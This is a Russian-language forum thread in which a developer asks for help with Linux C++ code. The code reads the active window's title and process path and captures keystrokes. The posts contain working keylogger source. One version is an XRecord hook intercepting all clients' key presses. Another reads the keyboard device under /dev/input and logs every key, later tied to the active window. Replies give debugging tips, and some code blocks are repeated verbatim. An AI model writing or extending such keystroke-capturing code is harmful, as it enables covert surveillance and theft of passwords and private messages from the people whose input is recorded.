Как получить заголовки активного приложения в Linux?

@tiny developer · Регистрация: 27.06.2013

Студворк — интернет-сервис помощи студентам

Здравствуйте ребята. У меня есть такая задача: мне нужно раз в некоторое время (в 4 секунды) получать информацию о приложении с которым сейчас работает пользователь. Нужно знать заголовок окна, путь процесса в системе и на какой хост отправляет данные приложение. Я написала (с помощью статей со stackowrflow) следующий код:

файл ActiveApplication.hpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//
// Created by tania on 13.05.24.
//
 
#ifndef NFLDMODULE_ACTIVEAPPLICATION_HPP
#define NFLDMODULE_ACTIVEAPPLICATION_HPP
 
#include <Poco/SharedPtr.h>
#include <Poco/Logger.h>
#include <X11/Xatom.h>
#include <X11/Xlib.h>
#include <tasks/window/WindowInfo.h>
#include <list>
#include <array>
 
using namespace tasks::window;
 
class ActiveApplication {
 
public:
 
    /* конструктор класса
         @param logger тип Poco::Logger - ссылка на Poco::Logger для ведения логов внутри класса
         * */
    explicit ActiveApplication(Poco::Logger& logger);
 
    // деструктор класса
    ~ActiveApplication() = default;
 
    /* метод получающий нужную нам информацию из активного окна
         @return Poco::SharedPtr<WindowInfo> - возвращает умный указатель на структуру хранящую сведения об окне
         * */
    Poco::SharedPtr<WindowInfo> getActiveWindowInfo();
 
    /* метод получающий окно верхнего уровня
         @return X11::Window - возвращает одно из открытых окон приложений
         * */
    Poco::SharedPtr<WindowInfo> getTopWindow();
 
private:
 
    /**
        Приватный метод получающий некоторое свойство окна
        @param xWindow указатель на тип Window из xLib - корневое окно
         @param xPropertyType тип Atom из xLib - тип свойства которое нужно получить
         @param propertyName тип const char* - имя свойства которое нужно получить
        @return const char* - массив бай содержащий информацию об окне
        */
    unsigned char* getProperty(Window xWindow, Atom xPropertyType, const char* propertyName);
 
    std::string getWindowTitle(Window& xWindow);
 
    int getPidWindow(Window& xWindow);
 
    std::string getPathApp(int pid);
 
    // указатель на главный дисплей ОС, с которого мы будем получать окна приложений
    Display* xDisplay_{};
 
    // ссылка на логгер который ведёт у нас логирование
    Poco::Logger& logger_;
 
    // период по которому мы повторяем действия в runTask
    const int32_t sleep_period_{4000}; // 4 секунды
};
 
#endif    //NFLDMODULE_ACTIVEAPPLICATION_HPP

файл ActiveApplication.cpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
//
// Created by tania on 13.05.24.
//
 
#include "ActiveApplication.hpp"
 
ActiveApplication::ActiveApplication(Poco::Logger& logger)
    : logger_(logger)
{
};
 
Poco::SharedPtr<WindowInfo> ActiveApplication::getActiveWindowInfo()
{
    setenv("DISPLAY", ":0", 1);
    xDisplay_ = ::XOpenDisplay(NULL);
    Window activeWindow = NULL;
 
    unsigned char* property = getProperty(::XDefaultRootWindow(xDisplay_), XA_WINDOW, "_NET_ACTIVE_WINDOW");
 
    if (property != nullptr)
    {
        activeWindow = *(reinterpret_cast<Window*>(property));
    } else
    {
        logger_.information("error get property _NET_ACTIVE_WINDOW");
        ::XCloseDisplay(xDisplay_);
        return nullptr;
    }
 
    // получим нужные нам данные об активном окне приложения заполним нашу структуру эти данными
    Poco::SharedPtr<WindowInfo> windowInfo = Poco::makeShared<WindowInfo>();
 
    // заголовок окна
    windowInfo->name = this->getWindowTitle(activeWindow);
    windowInfo->pid  = this->getPidWindow(activeWindow);
    windowInfo->path = this->getPathApp(windowInfo->pid);
 
    ::XCloseDisplay(xDisplay_);
 
    return windowInfo;
}
 
Poco::SharedPtr<WindowInfo> ActiveApplication::getTopWindow()
{
    xDisplay_ = ::XOpenDisplay(NULL);
 
    Poco::SharedPtr<WindowInfo> windowInfo{nullptr};
    Atom prop_NET_CLIENT_LIST = XInternAtom(xDisplay_,"_NET_CLIENT_LIST",False);
    unsigned long len, remain;
    unsigned char *output;
    int i,form;
    Atom type;
    Window *list;
 
    if (Success == XGetWindowProperty(xDisplay_,XDefaultRootWindow(xDisplay_),prop_NET_CLIENT_LIST,0,1024,False,XA_WINDOW,
                                      &type,&form,&len,&remain,&output))
    {
        list = (Window*)output;
        std::cout<<"len = "<<(int)len<<std::endl;
        const int count = (int)len;
        long item_user_time {1000000};
        int index{-1};
 
        for (i=0;i<count;i++)
        {
            std::cout << "i = " << i << std::endl;
 
            unsigned char* property = getProperty(::XDefaultRootWindow(xDisplay_), XA_WINDOW, "_NET_WM_USER_TIME");
 
            if (property != nullptr)
            {
                unsigned long long_property = static_cast<unsigned long>(property[0] + (property[1] << 8) + (property[2] << 16) + (property[3] << 24));
                logger_.information("user_time=[%hu]", long_property);
 
                if (long_property < item_user_time)
                {
                    item_user_time = long_property;
                    index = i;
                }
            }
        }
 
        if (index >= 0)
        {
            // получим нужные нам данные об активном окне приложения заполним нашу структуру эти данными
            windowInfo = Poco::makeShared<WindowInfo>();
 
            // заголовок окна
            windowInfo->name = this->getWindowTitle(list[index]);
            windowInfo->pid  = this->getPidWindow(list[index]);
            windowInfo->path = this->getPathApp(windowInfo->pid);
        }
    }
 
    ::XCloseDisplay(xDisplay_);
    return windowInfo;
}
 
// метод получающий некоторое свойство окна
unsigned char* ActiveApplication::getProperty(Window xWindow, Atom xPropertyType, const char* propertyName)
{
    Atom xProperty = ::XInternAtom(xDisplay_,propertyName,False);
 
    if (xProperty == None)
    {
        logger_.information("error get property - %s",propertyName);
        return nullptr;
    }
 
    Atom xActualType = None;
    int actualFormat = 0;
 
    unsigned long  itemsNumber     = 0;
    unsigned long  remainigBytes   = 0;
    unsigned char *pProperty       = NULL;
    const long     maxPropertySize = 4096;
 
    try {
        int result = ::XGetWindowProperty(xDisplay_,
                                          xWindow,
                                          xProperty,
                                          0,
                                          maxPropertySize / 4,
                                          False,
                                          xPropertyType,
                                          &xActualType,
                                          &actualFormat,
                                          &itemsNumber,
                                          &remainigBytes,
                                          &pProperty);
 
        if (result != Success) {
            logger_.information("error get property window - %s", propertyName);
            return nullptr;
        }
    }
    catch (std::exception& ex)
    {
        logger_.critical("Critical error in ActiveApplication::getProperty: %s", std::string(ex.what()));
    }
 
    return  pProperty;
}
 
std::string ActiveApplication::getWindowTitle(Window& xWindow)
{
    unsigned char* netwmName = getProperty(xWindow,
                                           ::XInternAtom(xDisplay_, "UTF8_STRING", False),
                                           "_NET_WM_NAME");
 
    if (netwmName == nullptr)
            netwmName = getProperty(xWindow,
                                ::XInternAtom(xDisplay_, "UTF8_STRING", False),
                                "WM_NAME");
 
    if (netwmName != nullptr)
        return std::string((char*)netwmName);
    else
        return "";
}
 
int ActiveApplication::getPidWindow(Window& xWindow)
{
    unsigned char* wmPid = getProperty(xWindow,
                                       AnyPropertyType,
                                       "_NET_WM_PID");
 
    if (wmPid != nullptr)
    {
        // PID процесса, которому принадлежит это окно
        unsigned long long_property = static_cast<unsigned long>(wmPid[0] + (wmPid[1] << 8) + (wmPid[2] << 16) + (wmPid[3] << 24));
        return (int)long_property;
    }
    return -1;
}
 
std::string ActiveApplication::getPathApp(int pid)
{
    //получим путь к исполняемому файлу процесса, которому принадлежит активное окно
    char path[32];
    sprintf(path, "/proc/%d/exe", pid);
 
    // вызов системной функции Linux, возвращающей путь в системе до исполняемого файла
    return realpath(path,NULL);
}

Мой класс хорошо справляется со своей задачей и получает заголовки окон. Но он работает только если графическая оболочка X11 по умолчанию выбрана. При тестировании на ubuntu и kubuntu я имею разные показатели работы. На kubuntu всё хорошо работает, так как там по умолчанию используется Xorg. А вот на ubuntu 24 код не заработал, приложение всё время крашилось при попытки обращения к библиотеки xlib (хотя я её статически линкую). Стали разбираться почему такое поведение. Попробовали в консоли выполнить команду получения активного окна через свойства _NET_ACTIVE_WINDOW и получили ошибку -

Как получить заголовки активного приложения в Linux?

Немного погуглив нашли на одном форуме ответ, что в новых версиях ubuntu по умолчанию используется wayland графическая оболочка - https://superuser.com/question... me-windows

Перед нами стала задача, а возможно ли как-то абстрагироваться от типов оболочки и получать заголовки окон независимо от используемой графической подсистемы ? Вдруг через месяц выйдет новая подсистема и получается что нам придётся и под неё писать свою реализацию. Может кто знает способ универсальный ? Может можно как-то на уровне ядра ОС реализовать мою задачу ? Может можно, как антивирусы подключиться в системе к событию запуска приложения ? И перехватывать информацию о нём ? Кто-нибудь может подсказать решение ?

@Annemesski · 27.06.2024, 08:49

Сообщение от tiny developer

имею только предположение что XEvent вернул нулевой XKeyEvent

Проверьте предположение: посмотрите дебагером или отладочным выводом что переменная event валидная. Хотя судя по ошибке у Вас сегфолт (SIGSEGV - signal segmentation violation) - то есть обращение к памяти не принадлежащей процессу. Если XKeyEvent нулевой - должна быть ошибка разыменования нулевого указателя (null pointer dereference) что, впрочем, может инициировать и сегу.

Меня смущает вот эта строчка:

C++
16
int type = ((unsigned char*) data->data)[0] & 0x7F;

Зачем? Тип события пишется в структуре, попробуйте так:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//int type = ((unsigned char*) data->data)[0] & 0x7F;
 
 
   if (data->category==XRecordFromServer) {
       event=(XEvent *)data->data;
 
 
       switch (event->type) {
           case KeyPress:
               XLookupString(&event->xkey, buf, 10, &keysym, NULL);
               printf("Key \"%s\" pressed\n", XKeysymToString(keysym));
               buttonCodesString += XKeysymToString(keysym);
               break;
       }
       XRecordFreeData (data);

Сообщение от tiny developer

Но в этой статье он не подписывается на события клавиатуры

Есть две основные парадигмы при отслеживании событий: MessageLoop и OnEvent.
OnEvent - подразумевает что по определённым событиям происходит обратный вызов (callback) подпрограммы обработчика этого события. Для связки события и его обработчика вызывается механизм подписки на событие.
MessageLoop - подразумевает, что где-то крутится (условно) вечный цикл который пробегает и смотрит флаг срабатывания по всем событиям и если флаг выставлен вызывает соответствующий обработчик. Вот собственно по Вашей ссылке в цикле

C++
1
while (1)

как раз и организован такой вот MessageLoop.

@tiny developer · 27.06.2024, 12:42 **[ТС]**

Спасибо вам за ответ) продолжаю бороться найти решение. Я попробовала следующий код:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
    void KeyboardTracker::subscribeEventsKeyboardXorg()
    {
        XRecordRange* rr;
        XRecordClientSpec rcs;
        XRecordContext rc;
 
        try {
 
           display_ = ::XOpenDisplay(NULL);
 
            if (display_) {
                rr = XRecordAllocRange();
                rr->device_events.first = KeyPress;
                rr->device_events.last = ButtonPress;
                rcs = XRecordAllClients;
                rc = XRecordCreateContext(display_, 0, &rcs, 1, &rr, 1);
                XFree(rr);
 
                auto callback = [](XPointer closure, XRecordInterceptData* data) {
                    ((KeyboardTracker*)closure)->keyPressedHandler(closure, data);
                };
                XRecordEnableContext(display_, rc, callback, NULL);
            } else
            logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg XOpenDisplay failed!");
        }
        catch (std::exception& ex)
        {
            XCloseDisplay(display_);
            logger_.critical("Critical error in subscribeEventsKeyboardXorg(): %s", std::string(ex.what()));
        }
    }
 
    /* for this struct, refer to libxnee */
    typedef union {
        unsigned char    type ;
        xEvent           event ;
        xResourceReq     req   ;
        xGenericReply    reply ;
        xError           error ;
        xConnSetupPrefix setup;
    } XRecordDatum;
 
    void KeyboardTracker::keyPressedHandler(XPointer p, XRecordInterceptData *d)
    {
        //KeyboardTracker* pointer = (KeyboardTracker*)p;
 
        //pointer->logger_.information("KeyboardTracker::keyPressedHandler");
 
        if (d == nullptr || d->category != XRecordFromServer)
        return;
 
        XRecordDatum *data = (XRecordDatum*) d->data;
 
        int event_type = data->type;
 
        BYTE keycode;
        keycode = data->event.u.u.detail;
        switch (event_type) {
                case KeyPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    printf("keycode = %s", XKeysymToString(XKeycodeToKeysym(display_, keycode, 0)));
                    break;
                case ButtonPress:
                    //pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
                    printf("keycode = %s",XKeysymToString(XKeycodeToKeysym(display_, keycode, 0)));
                    break;
                default:
                    break;
            }
 
        XRecordFreeData (d);
 
        /*if (pointer->keyPressCodes_.length() > 50)
        {
            pointer->logger_.information("keyPressCodes: %s", keyPressCodes_);
            pointer->keyPressCodes_.clear();
        } */
    }

Но у меня возникла следующая проблема... Никак не могу получить в функции callback - keyPressedHandler указатель this на свой класс....
мне он очень нужен там, чтобы возпользоваться функцией XKeycodeToKeysym, которая в парамтерах требует Display.
Поэтому в приватных переменных класса сделала указатель на Display* и в методе subscribeEventsKeyboardXorg открываю его.
Мне так же важно иметь доступ к другим переменным моего класса. Не могли бы вы мне подсказать как мне быть в такой ситуации?
Я пыталась получить указатель на свой класс из аргумента XPointer в callback функции. Но он приходит мне всегда со значением NULL.

Приложила скриншот в котором видно что я получаю NULL в XPointer:

Пыталась как-нибудь через лямба выражение передать указательно на свой класс, но получаю ошибку во время компиляции на строке XRecordEnableContext(display_, rc, callback, NULL);
так как метод XRecordEnableContext ожидает определенного вида callback функцию. И я просто не знаю как мне быть....
Прошу вас снова помочь мне.
Есть и ещё одна трудность. Мне в моём кейлогерре очень важно знать к какому окну принадлежат введенные с клавиатуры символы.
Я стараюсь найти в интернете решение, просмотрела некоторые статьи. Но пока не знаю как мне связать введёный символ с окном приложения в котором был введён этот символ ? Можете смогли бы вы и здесь подсказать мне ?

Я так же написала ещё один вариант кейлоггера) в котором пошла совсем другим путём и там уже получаю прям именно сам введёный символ, но не знаю как мне связать его с окном. Если мне хотя бы получить PID процесса приложения которому принадлежит соббытия ввода, то я уже по нему смогу и окно приложения вытащить.
Приведу второй вариант кейлогерра. Может вы сможете подсказать в нём решение ?

файл KeyboardTask.hpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#ifndef KEYBOARDTASK_H
#define KEYBOARDTASK_H
 
#include <Poco/Task.h>
#include <Poco/Logger.h>
 
namespace  tasks {
    class KeyboardTask : public Poco::Task
    {
    public:
        explicit KeyboardTask(Poco::Logger& logger);
 
        // переопределяемый метод, который запускает нашу задачу в отдельном потоке
        void runTask() override;
 
    private:
 
        std::string get_kb_device();
 
        std::string strPressedButton {};
 
        static const inline std::unordered_map<int, std::string> keycodes_ =
        {    {0, "RESERVED"},
             {1, "ESC",},
             {2, "1",},
             {3, "2",},
             {4, "3",},
             {5, "4",},
             {6, "5",},
             {7, "6",},
             {8, "7",},
             {9, "8",},
             {10, "9",},
             {11, "0",},
             {12, "MINUS",},
             {13, "EQUAL",},
             {14, "BACKSPACE",},
             {15, "TAB",},
             {16, "Q"},
             {17, "W"},
             {18, "E"},
             {19, "R"},
             {20, "T"},
             {21, "Y"},
             {22, "U"},
             {23, "I"},
             {24, "O"},
             {25, "P"},
             {26, "LEFTBRACE"},
             {27, "RIGHTBRACE"},
             {28, "ENTER"},
             {29, "LEFTCTRL"},
             {30, "A"},
             {31, "S"},
             {32, "D"},
             {33, "F"},
             {34, "G"},
             {35, "H"},
             {36, "J"},
             {37, "K"},
             {38, "L"},
             {39, "SEMICOLON"},
             {40, "APOSTROPHE"},
             {41, "GRAVE"},
             {42, "LEFTSHIFT"},
             {43, "BACKSLASH"},
             {44, "Z"},
             {45, "X"},
             {46, "C"},
             {47, "V"},
             {48, "B"},
             {49, "N"},
             {50, "M"},
             {52, "COMMA"},
             {52, "DOT"},
             {53, "SLASH"},
             {54, "RIGHTSHIFT"},
             {55, "KPASTERISK"},
             {56, "LEFTALT"},
             {57, "SPACE"},
             {58, "CAPSLOCK"},
             {59, "F1"},
             {60, "F2"},
             {61, "F3"},
             {62, "F4"},
             {63, "F5"},
             {64, "F6"},
             {65, "F7"},
             {66, "F8"},
             {67, "F9"},
             {68, "F10"},
             {69, "NUMLOCK"},
             {70, "SCROLLLOCK"}
        };
 
        // ссылка на логгер который ведёт у нас логирование
        Poco::Logger& logger_;
 
        // период по которому мы повторяем действия в runTask
        const int32_t sleep_period_{1000};    // 1 секунда
    };
}
 
 
 
#endif //KEYBOARDTASK_H

файл KeyboardTask.cpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//
// Created by parallels on 6/22/24.
//
 
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}

Очень жду помощи от вас ребята....

@Azathtot · 27.06.2024, 13:30

tiny developer,
Извините, но вы походу ни документацию читать, ни думать не хотите.. Может вам сразу в "заказать программу"?
смотрим
closure Specifies data passed to callback.
Вот и передавайте туда this, каую-либо "живую" структуру, если параметров больше 1 и т.д.

@tiny developer · 27.06.2024, 20:02 **[ТС]**

спасибо, я оказывается не там передавала указатель this, не в том методе. Тепрерь я успешно его получаю, мне доступны все поля класса, но я по-прежнему мучаюсь. Никак не получается выдернуть значение кода клавиши из xEvent.
У меня почему-то метод XKeysymToString(XKeycodeToKeysym(display _, keycode, 0)) не отрабатывает. Как-будто зависает. Не могу пройти далее отладчиком... Если я завершаю приложение то вижу такой код завершения(скриншоты приложила).

@tiny developer · 27.06.2024, 20:48 **[ТС]**

буду надеяться, что может кто из вас сможет помочь.

Добавлено через 44 минуты
может кто сможет подсказать как можно получить pid процесса которому принадлежит ввод с клавиатуры ?
Я сделала и второй вариант кейлогера, читая файл клавиатуры. Но в структуре которую я получаю нет никаких сведений о процессе, который принимал ввод с клавиатуры. Я правда много смотрела в интернете, искала и в документации. Перепробовала уже столько примеров и вариантов решения.... И всё никак не могу сделать...
Я буду рада вашим подсказкам как для первого случая так и для второго.

Вот мой второй уже кейлоггер)

Файл KeyboardTask.hpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#ifndef KEYBOARDTASK_H
#define KEYBOARDTASK_H
 
#include <Poco/Task.h>
#include <Poco/Logger.h>
 
namespace  tasks {
    class KeyboardTask : public Poco::Task
    {
    public:
        explicit KeyboardTask(Poco::Logger& logger);
 
        // переопределяемый метод, который запускает нашу задачу в отдельном потоке
        void runTask() override;
 
    private:
 
        std::string get_kb_device();
 
        std::string strPressedButton {};
 
        static const inline std::unordered_map<int, std::string> keycodes_ =
        {    {0, "RESERVED"},
             {1, "ESC",},
             {2, "1",},
             {3, "2",},
             {4, "3",},
             {5, "4",},
             {6, "5",},
             {7, "6",},
             {8, "7",},
             {9, "8",},
             {10, "9",},
             {11, "0",},
             {12, "MINUS",},
             {13, "EQUAL",},
             {14, "BACKSPACE",},
             {15, "TAB",},
             {16, "Q"},
             {17, "W"},
             {18, "E"},
             {19, "R"},
             {20, "T"},
             {21, "Y"},
             {22, "U"},
             {23, "I"},
             {24, "O"},
             {25, "P"},
             {26, "LEFTBRACE"},
             {27, "RIGHTBRACE"},
             {28, "ENTER"},
             {29, "LEFTCTRL"},
             {30, "A"},
             {31, "S"},
             {32, "D"},
             {33, "F"},
             {34, "G"},
             {35, "H"},
             {36, "J"},
             {37, "K"},
             {38, "L"},
             {39, "SEMICOLON"},
             {40, "APOSTROPHE"},
             {41, "GRAVE"},
             {42, "LEFTSHIFT"},
             {43, "BACKSLASH"},
             {44, "Z"},
             {45, "X"},
             {46, "C"},
             {47, "V"},
             {48, "B"},
             {49, "N"},
             {50, "M"},
             {52, "COMMA"},
             {52, "DOT"},
             {53, "SLASH"},
             {54, "RIGHTSHIFT"},
             {55, "KPASTERISK"},
             {56, "LEFTALT"},
             {57, "SPACE"},
             {58, "CAPSLOCK"},
             {59, "F1"},
             {60, "F2"},
             {61, "F3"},
             {62, "F4"},
             {63, "F5"},
             {64, "F6"},
             {65, "F7"},
             {66, "F8"},
             {67, "F9"},
             {68, "F10"},
             {69, "NUMLOCK"},
             {70, "SCROLLLOCK"}
        };
 
        // ссылка на логгер который ведёт у нас логирование
        Poco::Logger& logger_;
 
        // период по которому мы повторяем действия в runTask
        const int32_t sleep_period_{1000};    // 1 секунда
    };
}
 
 
 
#endif //KEYBOARDTASK_H

файл KeyboardTask.cpp

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//
// Created by parallels on 6/22/24.
//
 
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}

@tiny developer · 31.07.2024, 20:32 **[ТС]**

Здравствуйте ребята. Очень жаль что мне никто не ответил. Я за это время реализовала второй вариант кейлоггера, нашла способ связать клавишу с активным окном. Но у меня возник вопрос. Дело в том что на разных раскладках клавиатуры (русская и английская) я получаю один и тот же код клавиши. Проверяла даже в консоли программой
sudo showkey --keycodes
а как мне получить текущую раскладку клавиатуры ? Чтобы я могла сделать себе ещё один список клавиш и учитывая раскладку брать из разных список символ кода.

Вот мой код:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include "KeyboardTask.h"
#include <iostream>
#include <filesystem>
#include <fstream>
#include <fcntl.h>
#include <linux/input.h>
#include <linux/input-event-codes.h>
#include <sys/ioctl.h>
#include <unistd.h>
 
namespace  tasks {
    KeyboardTask::KeyboardTask(Poco::Logger& logger)
        : Poco::Task("KeyboardTask"),
          logger_(logger) {}
 
    void KeyboardTask::runTask()
    {
        logger_.information("Starting KeyboardTask");
 
        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                                signalKeyPress(keycodes_.at(events[i].code));
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
